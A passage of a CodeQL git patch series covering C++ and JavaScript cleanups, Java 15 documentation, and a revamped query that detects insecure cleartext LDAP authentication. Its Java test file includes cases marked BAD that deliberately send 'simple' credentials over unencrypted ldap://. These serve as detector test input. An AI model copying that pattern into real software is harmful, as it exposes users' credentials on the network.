ClassTemplateInstantiation { StdBasicStringStream() { this.getTemplate().hasQualifiedName("std", "basic_stringstream") } @@ -285,7 +285,7 @@ private class StdStringAt extends TaintFunction { } /** - * The `std::basic_istream` template class. + * The `std::basic_istream` template class instantiations. */ private class StdBasicIStream extends ClassTemplateInstantiation { StdBasicIStream() { this.getTemplate().hasQualifiedName("std", "basic_istream") } @@ -485,7 +485,7 @@ private class StdGetLine extends DataFlowFunction, TaintFunction { } /** - * The `std::basic_ostream` template class. + * The `std::basic_ostream` template class instantiations. */ private class StdBasicOStream extends ClassTemplateInstantiation { StdBasicOStream() { this.getTemplate().hasQualifiedName("std", "basic_ostream") } @@ -603,7 +603,7 @@ private class StdStringStreamStr extends TaintFunction { } /** - * The `std::basic_ios` template class. + * The `std::basic_ios` template class instantiations. */ private class StdBasicIOS extends ClassTemplateInstantiation { StdBasicIOS() { this.getTemplate().hasQualifiedName("std", "basic_ios") } From 7012bc05a2c5e29dd190aafb8777f1a454977dcf Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 14 Jan 2021 15:21:26 +0000 Subject: [PATCH 0607/1241] C++: Simplification. --- cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 397f4e3141c..effef9eef35 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -101,7 +101,7 @@ private class StdStringData extends TaintFunction { */ private class StdStringPush extends TaintFunction { StdStringPush() { - this.getDeclaringType().(ClassTemplateInstantiation) instanceof StdBasicString and + this.getDeclaringType() instanceof StdBasicString and this.hasName("push_back") } From 27fd16ae87572b2f0cd65062622bbff72e8c6682 Mon Sep 17 00:00:00 2001 From: yo-h <55373593+yo-h@users.noreply.github.com> Date: Thu, 14 Jan 2021 20:29:16 -0500 Subject: [PATCH 0608/1241] Java: update documentation on supported language versions --- docs/codeql/support/reusables/versions-compilers.rst | 4 ++-- java/change-notes/2021-01-14-java-15-support.md | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) create mode 100644 java/change-notes/2021-01-14-java-15-support.md diff --git a/docs/codeql/support/reusables/versions-compilers.rst b/docs/codeql/support/reusables/versions-compilers.rst index 9de6af6aa60..39e30bbc7cb 100644 --- a/docs/codeql/support/reusables/versions-compilers.rst +++ b/docs/codeql/support/reusables/versions-compilers.rst @@ -15,7 +15,7 @@ .NET Core up to 3.1","``.sln``, ``.csproj``, ``.cs``, ``.cshtml``, ``.xaml``" Go (aka Golang), "Go up to 1.15", "Go 1.11 or more recent", ``.go`` - Java,"Java 6 to 14 [3]_","javac (OpenJDK and Oracle JDK), + Java,"Java 7 to 15 [3]_","javac (OpenJDK and Oracle JDK), Eclipse compiler for Java (ECJ) [4]_",``.java`` JavaScript,ECMAScript 2019 or lower,Not applicable,"``.js``, ``.jsx``, ``.mjs``, ``.es``, ``.es6``, ``.htm``, ``.html``, ``.xhm``, ``.xhtml``, ``.vue``, ``.json``, ``.yaml``, ``.yml``, ``.raml``, ``.xml`` [5]_" @@ -26,7 +26,7 @@ .. [1] Support for the clang-cl compiler is preliminary. .. [2] Support for the Arm Compiler (armcc) is preliminary. - .. [3] Builds that execute on Java 6 to 14 can be analyzed. The analysis understands Java 14 standard language features. + .. [3] Builds that execute on Java 7 to 15 can be analyzed. The analysis understands Java 15 standard language features. .. [4] ECJ is supported when the build invokes it via the Maven Compiler plugin or the Takari Lifecycle plugin. .. [5] JSX and Flow code, YAML, JSON, HTML, and XML files may also be analyzed with JavaScript files. .. [6] TypeScript analysis is performed by running the JavaScript extractor with TypeScript enabled. This is the default for LGTM. diff --git a/java/change-notes/2021-01-14-java-15-support.md b/java/change-notes/2021-01-14-java-15-support.md new file mode 100644 index 00000000000..44f07c865d8 --- /dev/null +++ b/java/change-notes/2021-01-14-java-15-support.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* The Java extractor has been upgraded to support Java 15. From e5a703e49c3fe53aeda8e6ecb9d3766df7683124 Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Fri, 15 Jan 2021 04:05:11 +0000 Subject: [PATCH 0609/1241] Revamp the query --- .../Security/CWE/CWE-522/InsecureLdapAuth.ql | 109 +++++++++++++++--- .../CWE-522/InsecureLdapAuth.expected | 79 +++++++++++-- .../security/CWE-522/InsecureLdapAuth.java | 33 ++++++ 3 files changed, 190 insertions(+), 31 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql index 1cebfe8bad3..1a38f74092b 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql @@ -110,7 +110,7 @@ predicate hasEnvWithValue(MethodAccess ma, string fieldName, string fieldValue, /** * Holds if `ma` sets `java.naming.security.authentication` (also known as `Context.SECURITY_AUTHENTICATION`) to `simple` in some `Hashtable`. */ -predicate isSimpleAuthEnv(MethodAccess ma) { +predicate isBasicAuthEnv(MethodAccess ma) { hasEnvWithValue(ma, "SECURITY_AUTHENTICATION", "java.naming.security.authentication", "simple") } @@ -122,32 +122,103 @@ predicate isSSLEnv(MethodAccess ma) { } /** - * A taint-tracking configuration for cleartext credentials in LDAP authentication. + * A taint-tracking configuration for `ldap://` URL in LDAP authentication. */ -class LdapAuthFlowConfig extends TaintTracking::Configuration { - LdapAuthFlowConfig() { this = "InsecureLdapAuth:LdapAuthFlowConfig" } +class InsecureUrlFlowConfig extends TaintTracking::Configuration { + InsecureUrlFlowConfig() { this = "InsecureLdapAuth:InsecureUrlFlowConfig" } - /** Source of non-private LDAP connection string */ + /** Source of `ldap://` connection string. */ override predicate isSource(DataFlow::Node src) { src.asExpr() instanceof InsecureLdapUrl } - /** Sink of provider URL with simple authentication */ + /** Sink of directory context creation. */ override predicate isSink(DataFlow::Node sink) { - exists(MethodAccess pma | - sink.asExpr() = pma.getArgument(1) and - isProviderUrlSetter(pma) and - exists(MethodAccess sma | - sma.getQualifier() = pma.getQualifier().(VarAccess).getVariable().getAnAccess() and - isSimpleAuthEnv(sma) - ) and - not exists(MethodAccess sma | - sma.getQualifier() = pma.getQualifier().(VarAccess).getVariable().getAnAccess() and - isSSLEnv(sma) - ) + exists(ConstructorCall cc | + cc.getConstructedType().getASupertype*() instanceof TypeDirContext and + sink.asExpr() = cc.getArgument(0) + ) + } + + /** Method call of `env.put()`. */ + override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) { + exists(MethodAccess ma | + pred.asExpr() = ma.getArgument(1) and + isProviderUrlSetter(ma) and + succ.asExpr() = ma.getQualifier() ) } } -from DataFlow::PathNode source, DataFlow::PathNode sink, LdapAuthFlowConfig config -where config.hasFlowPath(source, sink) +/** + * A taint-tracking configuration for `simple` basic-authentication in LDAP configuration. + */ +class BasicAuthFlowConfig extends TaintTracking::Configuration { + BasicAuthFlowConfig() { this = "InsecureLdapAuth:BasicAuthFlowConfig" } + + /** Source of `simple` configuration. */ + override predicate isSource(DataFlow::Node src) { + src.asExpr().(CompileTimeConstantExpr).getStringValue() = "simple" + } + + /** Sink of directory context creation. */ + override predicate isSink(DataFlow::Node sink) { + exists(ConstructorCall cc | + cc.getConstructedType().getASupertype*() instanceof TypeDirContext and + sink.asExpr() = cc.getArgument(0) + ) + } + + /** Method call of `env.put()`. */ + override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) { + exists(MethodAccess ma | + pred.asExpr() = ma.getArgument(1) and + isBasicAuthEnv(ma) and + succ.asExpr() = ma.getQualifier() + ) + } +} + +/** + * A taint-tracking configuration for `ssl` configuration in LDAP authentication. + */ +class SSLFlowConfig extends TaintTracking::Configuration { + SSLFlowConfig() { this = "InsecureLdapAuth:SSLFlowConfig" } + + /** Source of `ssl` configuration. */ + override predicate isSource(DataFlow::Node src) { + src.asExpr().(CompileTimeConstantExpr).getStringValue() = "ssl" + } + + /** Sink of directory context creation. */ + override predicate isSink(DataFlow::Node sink) { + exists(ConstructorCall cc | + cc.getConstructedType().getASupertype*() instanceof TypeDirContext and + sink.asExpr() = cc.getArgument(0) + ) + } + + /** Method call of `env.put()`. */ + override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) { + exists(MethodAccess ma | + pred.asExpr() = ma.getArgument(1) and + isSSLEnv(ma) and + succ.asExpr() = ma.getQualifier() + ) + } +} + +from DataFlow::PathNode source, DataFlow::PathNode sink, InsecureUrlFlowConfig config, VarAccess va +where + config.hasFlowPath(source, sink) and + sink.getNode().asExpr() = va and + exists(BasicAuthFlowConfig bc, DataFlow::PathNode source2, DataFlow::PathNode sink2 | + bc.hasFlowPath(source2, sink2) and + source2.getNode().asExpr().(CompileTimeConstantExpr).getStringValue() = "simple" and + sink2.getNode().asExpr() = va + ) and + not exists(SSLFlowConfig sc, DataFlow::PathNode source3, DataFlow::PathNode sink3 | + sc.hasFlowPath(source3, sink3) and + source3.getNode().asExpr().(CompileTimeConstantExpr).getStringValue() = "ssl" and + sink3.getNode().asExpr() = va.getVariable().getAnAccess() + ) select sink.getNode(), source, sink, "Insecure LDAP authentication from $@.", source.getNode(), "LDAP connection string" diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected index 745fd9c1b75..1af36e67d05 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.expected @@ -1,19 +1,74 @@ edges -| InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | -| InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | -| InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:100:41:100:47 | ldapUrl | -| InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:115:47:115:53 | ldapUrl | +| InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:20:49:20:59 | environment | +| InsecureLdapAuth.java:17:52:17:59 | "simple" : String | InsecureLdapAuth.java:20:49:20:59 | environment | +| InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:34:49:34:59 | environment | +| InsecureLdapAuth.java:31:52:31:59 | "simple" : String | InsecureLdapAuth.java:34:49:34:59 | environment | +| InsecureLdapAuth.java:45:52:45:59 | "simple" : String | InsecureLdapAuth.java:48:49:48:59 | environment | +| InsecureLdapAuth.java:53:20:53:50 | "ldap://ad.your-server.com:636" : String | InsecureLdapAuth.java:63:49:63:59 | environment | +| InsecureLdapAuth.java:59:52:59:59 | "simple" : String | InsecureLdapAuth.java:63:49:63:59 | environment | +| InsecureLdapAuth.java:62:46:62:50 | "ssl" : String | InsecureLdapAuth.java:63:49:63:59 | environment | +| InsecureLdapAuth.java:68:20:68:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:77:49:77:59 | environment | +| InsecureLdapAuth.java:88:52:88:59 | "simple" : String | InsecureLdapAuth.java:91:49:91:59 | environment | +| InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:105:59:105:69 | environment | +| InsecureLdapAuth.java:102:52:102:59 | "simple" : String | InsecureLdapAuth.java:105:59:105:69 | environment | +| InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:120:49:120:59 | environment | +| InsecureLdapAuth.java:117:58:117:65 | "simple" : String | InsecureLdapAuth.java:120:49:120:59 | environment | +| InsecureLdapAuth.java:124:3:124:5 | env [post update] : Hashtable | InsecureLdapAuth.java:137:10:137:20 | environment [post update] : Hashtable | +| InsecureLdapAuth.java:124:38:124:42 | "ssl" : String | InsecureLdapAuth.java:124:3:124:5 | env [post update] : Hashtable | +| InsecureLdapAuth.java:128:3:128:5 | env [post update] : Hashtable | InsecureLdapAuth.java:141:16:141:26 | environment [post update] : Hashtable | +| InsecureLdapAuth.java:128:3:128:5 | env [post update] : Hashtable | InsecureLdapAuth.java:152:16:152:26 | environment [post update] : Hashtable | +| InsecureLdapAuth.java:128:44:128:51 | "simple" : String | InsecureLdapAuth.java:128:3:128:5 | env [post update] : Hashtable | +| InsecureLdapAuth.java:135:20:135:39 | ... + ... : String | InsecureLdapAuth.java:142:50:142:60 | environment | +| InsecureLdapAuth.java:137:10:137:20 | environment [post update] : Hashtable | InsecureLdapAuth.java:142:50:142:60 | environment | +| InsecureLdapAuth.java:141:16:141:26 | environment [post update] : Hashtable | InsecureLdapAuth.java:142:50:142:60 | environment | +| InsecureLdapAuth.java:147:20:147:39 | ... + ... : String | InsecureLdapAuth.java:153:50:153:60 | environment | +| InsecureLdapAuth.java:152:16:152:26 | environment [post update] : Hashtable | InsecureLdapAuth.java:153:50:153:60 | environment | nodes | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | -| InsecureLdapAuth.java:15:41:15:47 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:17:52:17:59 | "simple" : String | semmle.label | "simple" : String | +| InsecureLdapAuth.java:20:49:20:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:20:49:20:59 | environment | semmle.label | environment | | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | semmle.label | ... + ... : String | -| InsecureLdapAuth.java:29:41:29:47 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:31:52:31:59 | "simple" : String | semmle.label | "simple" : String | +| InsecureLdapAuth.java:34:49:34:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:34:49:34:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:45:52:45:59 | "simple" : String | semmle.label | "simple" : String | +| InsecureLdapAuth.java:48:49:48:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:53:20:53:50 | "ldap://ad.your-server.com:636" : String | semmle.label | "ldap://ad.your-server.com:636" : String | +| InsecureLdapAuth.java:59:52:59:59 | "simple" : String | semmle.label | "simple" : String | +| InsecureLdapAuth.java:62:46:62:50 | "ssl" : String | semmle.label | "ssl" : String | +| InsecureLdapAuth.java:63:49:63:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:63:49:63:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:63:49:63:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:68:20:68:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | +| InsecureLdapAuth.java:77:49:77:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:88:52:88:59 | "simple" : String | semmle.label | "simple" : String | +| InsecureLdapAuth.java:91:49:91:59 | environment | semmle.label | environment | | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | -| InsecureLdapAuth.java:100:41:100:47 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:102:52:102:59 | "simple" : String | semmle.label | "simple" : String | +| InsecureLdapAuth.java:105:59:105:69 | environment | semmle.label | environment | +| InsecureLdapAuth.java:105:59:105:69 | environment | semmle.label | environment | | InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | -| InsecureLdapAuth.java:115:47:115:53 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:117:58:117:65 | "simple" : String | semmle.label | "simple" : String | +| InsecureLdapAuth.java:120:49:120:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:120:49:120:59 | environment | semmle.label | environment | +| InsecureLdapAuth.java:124:3:124:5 | env [post update] : Hashtable | semmle.label | env [post update] : Hashtable | +| InsecureLdapAuth.java:124:38:124:42 | "ssl" : String | semmle.label | "ssl" : String | +| InsecureLdapAuth.java:128:3:128:5 | env [post update] : Hashtable | semmle.label | env [post update] : Hashtable | +| InsecureLdapAuth.java:128:44:128:51 | "simple" : String | semmle.label | "simple" : String | +| InsecureLdapAuth.java:135:20:135:39 | ... + ... : String | semmle.label | ... + ... : String | +| InsecureLdapAuth.java:137:10:137:20 | environment [post update] : Hashtable | semmle.label | environment [post update] : Hashtable | +| InsecureLdapAuth.java:141:16:141:26 | environment [post update] : Hashtable | semmle.label | environment [post update] : Hashtable | +| InsecureLdapAuth.java:142:50:142:60 | environment | semmle.label | environment | +| InsecureLdapAuth.java:142:50:142:60 | environment | semmle.label | environment | +| InsecureLdapAuth.java:142:50:142:60 | environment | semmle.label | environment | +| InsecureLdapAuth.java:147:20:147:39 | ... + ... : String | semmle.label | ... + ... : String | +| InsecureLdapAuth.java:152:16:152:26 | environment [post update] : Hashtable | semmle.label | environment [post update] : Hashtable | +| InsecureLdapAuth.java:153:50:153:60 | environment | semmle.label | environment | +| InsecureLdapAuth.java:153:50:153:60 | environment | semmle.label | environment | #select -| InsecureLdapAuth.java:15:41:15:47 | ldapUrl | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" | LDAP connection string | -| InsecureLdapAuth.java:29:41:29:47 | ldapUrl | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:25:20:25:39 | ... + ... | LDAP connection string | -| InsecureLdapAuth.java:100:41:100:47 | ldapUrl | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:100:41:100:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" | LDAP connection string | -| InsecureLdapAuth.java:115:47:115:53 | ldapUrl | InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:115:47:115:53 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" | LDAP connection string | +| InsecureLdapAuth.java:20:49:20:59 | environment | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:20:49:20:59 | environment | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" | LDAP connection string | +| InsecureLdapAuth.java:34:49:34:59 | environment | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:34:49:34:59 | environment | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:25:20:25:39 | ... + ... | LDAP connection string | +| InsecureLdapAuth.java:105:59:105:69 | environment | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:105:59:105:69 | environment | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" | LDAP connection string | +| InsecureLdapAuth.java:120:49:120:59 | environment | InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:120:49:120:59 | environment | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" | LDAP connection string | +| InsecureLdapAuth.java:153:50:153:60 | environment | InsecureLdapAuth.java:147:20:147:39 | ... + ... : String | InsecureLdapAuth.java:153:50:153:60 | environment | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:147:20:147:39 | ... + ... | LDAP connection string | diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java index 4052557d8b0..14142d31b21 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java @@ -119,4 +119,37 @@ public class InsecureLdapAuth { environment.put("java.naming.security.credentials", password); DirContext dirContext = new InitialDirContext(environment); } + + private void setSSL(Hashtable env) { + env.put(Context.SECURITY_PROTOCOL, "ssl"); + } + + private void setBasicAuth(Hashtable env, String ldapUserName, String password) { + env.put(Context.SECURITY_AUTHENTICATION, "simple"); + env.put(Context.SECURITY_PRINCIPAL, ldapUserName); + env.put(Context.SECURITY_CREDENTIALS, password); + } + + // GOOD - Test LDAP authentication with `ssl` configuration and basic authentication. + public void testCleartextLdapAuth5(String ldapUserName, String password, String serverName) { + String ldapUrl = "ldap://"+serverName+":389"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + setSSL(environment); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + setBasicAuth(environment, ldapUserName, password); + DirContext dirContext = new InitialLdapContext(environment, null); + } + + // BAD - Test LDAP authentication with basic authentication. + public void testCleartextLdapAuth6(String ldapUserName, String password, String serverName) { + String ldapUrl = "ldap://"+serverName+":389"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + setBasicAuth(environment, ldapUserName, password); + DirContext dirContext = new InitialLdapContext(environment, null); + } } From 32c54628f8afc010e4000368d9abdecea6b50f7f Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Fri, 15 Jan 2021 12:32:13 +0000 Subject: [PATCH 0610/1241] Drop fieldName from the function for runtime evaluation --- .../Security/CWE/CWE-522/InsecureLdapAuth.ql | 20 +++++-------------- 1 file changed, 5 insertions(+), 15 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql index 1a38f74092b..602dae21ad7 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql @@ -91,19 +91,11 @@ predicate isProviderUrlSetter(MethodAccess ma) { /** * Holds if `ma` sets `fieldValue` with attribute name `fieldName` to `envValue` in some `Hashtable`. */ -bindingset[fieldName, fieldValue, envValue] -predicate hasEnvWithValue(MethodAccess ma, string fieldName, string fieldValue, string envValue) { +bindingset[fieldValue, envValue] +predicate hasEnvWithValue(MethodAccess ma, string fieldValue, string envValue) { ma.getMethod().getDeclaringType().getAnAncestor() instanceof TypeHashtable and (ma.getMethod().hasName("put") or ma.getMethod().hasName("setProperty")) and - ( - ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = fieldValue - or - exists(Field f | - ma.getArgument(0) = f.getAnAccess() and - f.hasName(fieldName) and - f.getDeclaringType() instanceof TypeNamingContext - ) - ) and + ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = fieldValue and ma.getArgument(1).(CompileTimeConstantExpr).getStringValue() = envValue } @@ -111,15 +103,13 @@ predicate hasEnvWithValue(MethodAccess ma, string fieldName, string fieldValue, * Holds if `ma` sets `java.naming.security.authentication` (also known as `Context.SECURITY_AUTHENTICATION`) to `simple` in some `Hashtable`. */ predicate isBasicAuthEnv(MethodAccess ma) { - hasEnvWithValue(ma, "SECURITY_AUTHENTICATION", "java.naming.security.authentication", "simple") + hasEnvWithValue(ma, "java.naming.security.authentication", "simple") } /** * Holds if `ma` sets `java.naming.security.protocol` (also known as `Context.SECURITY_PROTOCOL`) to `ssl` in some `Hashtable`. */ -predicate isSSLEnv(MethodAccess ma) { - hasEnvWithValue(ma, "SECURITY_PROTOCOL", "java.naming.security.protocol", "ssl") -} +predicate isSSLEnv(MethodAccess ma) { hasEnvWithValue(ma, "java.naming.security.protocol", "ssl") } /** * A taint-tracking configuration for `ldap://` URL in LDAP authentication. From 0c9d46a7f9c6db84dfc4214bc841e744e38d62f7 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 15 Jan 2021 13:36:34 +0100 Subject: [PATCH 0611/1241] changes based on review Co-authored-by: Esben Sparre Andreasen <esbena@github.com> --- javascript/ql/src/semmle/javascript/PackageExports.qll | 2 +- .../UnsafeShellCommandConstructionCustomizations.qll | 2 +- .../security/performance/PolynomialReDoSCustomizations.qll | 6 +++--- .../security/performance/SuperlinearBackTracking.qll | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/PackageExports.qll b/javascript/ql/src/semmle/javascript/PackageExports.qll index 1ec89dfa08b..7adf310f9f2 100644 --- a/javascript/ql/src/semmle/javascript/PackageExports.qll +++ b/javascript/ql/src/semmle/javascript/PackageExports.qll @@ -9,7 +9,7 @@ import javascript /** * Gets a parameter that is a library input to a top-level package. */ -DataFlow::ParameterNode getAnLibraryInputParameter() { +DataFlow::ParameterNode getALibraryInputParameter() { exists(int bound, DataFlow::FunctionNode func | func = getAValueExportedBy(getTopmostPackageJSON()).getABoundFunctionValue(bound) and result = func.getParameter(any(int arg | arg >= bound)) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll index 6ae79b723ea..32eda1db8de 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll @@ -52,7 +52,7 @@ module UnsafeShellCommandConstruction { */ class ExternalInputSource extends Source, DataFlow::ParameterNode { ExternalInputSource() { - this = Exports::getAnLibraryInputParameter() and + this = Exports::getALibraryInputParameter() and not this.getName() = ["cmd", "command"] // looks to be on purpose. } } diff --git a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll index 67904a9bfe3..95136b32f04 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll @@ -21,7 +21,7 @@ module PolynomialReDoS { /** * Gets a string that describes the source. - * For use in the alert message + * For use in the alert message. */ string describe() { result = "a user-provided value" } } @@ -93,7 +93,7 @@ module PolynomialReDoS { class StringLengthLimiter extends Sanitizer { StringLengthLimiter() { this.(StringReplaceCall).isGlobal() and - // not char classes - they don't remove any repeated pattern. + // not lone char classes - they don't remove any repeated pattern. not exists(RegExpTerm root | root = this.(StringReplaceCall).getRegExp().getRoot() | root instanceof RegExpCharacterClass or @@ -136,7 +136,7 @@ module PolynomialReDoS { * A parameter of an exported function, seen as a source for polynomial-redos. */ class ExternalInputSource extends Source, DataFlow::ParameterNode { - ExternalInputSource() { this = Exports::getAnLibraryInputParameter() } + ExternalInputSource() { this = Exports::getALibraryInputParameter() } override string getKind() { result = "library" } diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index f604c3871c5..a753422f097 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -406,7 +406,7 @@ class PolynomialBackTrackingTerm extends InfiniteRepetitionQuantifier { PolynomialBackTrackingTerm() { reason = getReasonString(this, pump, prefixMsg, prev) and - // there might be many reasons for this term to have polynomial backtracking - we pick an arbitary one. + // there might be many reasons for this term to have polynomial backtracking - we pick the shortest one. reason = min(string msg | msg = getReasonString(this, _, _, _) | msg order by msg.length(), msg) } From 0117a0fac1ddd461df76aabc65764a6f04a4b47c Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 15 Jan 2021 13:34:24 +0100 Subject: [PATCH 0612/1241] specialize the `getAValueExportedBy` predicate to only topmost `package.json`s --- .../src/semmle/javascript/PackageExports.qll | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/PackageExports.qll b/javascript/ql/src/semmle/javascript/PackageExports.qll index 7adf310f9f2..62681c47e81 100644 --- a/javascript/ql/src/semmle/javascript/PackageExports.qll +++ b/javascript/ql/src/semmle/javascript/PackageExports.qll @@ -11,7 +11,7 @@ import javascript */ DataFlow::ParameterNode getALibraryInputParameter() { exists(int bound, DataFlow::FunctionNode func | - func = getAValueExportedBy(getTopmostPackageJSON()).getABoundFunctionValue(bound) and + func = getAValueExportedByPackage().getABoundFunctionValue(bound) and result = func.getParameter(any(int arg | arg >= bound)) ) } @@ -28,7 +28,7 @@ private int countSlashes(string path) { result = count(path.splitAt("/")) - 1 } * There can be multiple results if the there exists multiple package.json that are equally deeply nested in the folder structure. * Results are limited to package.json files that are at most nested 2 directories deep. */ -PackageJSON getTopmostPackageJSON() { 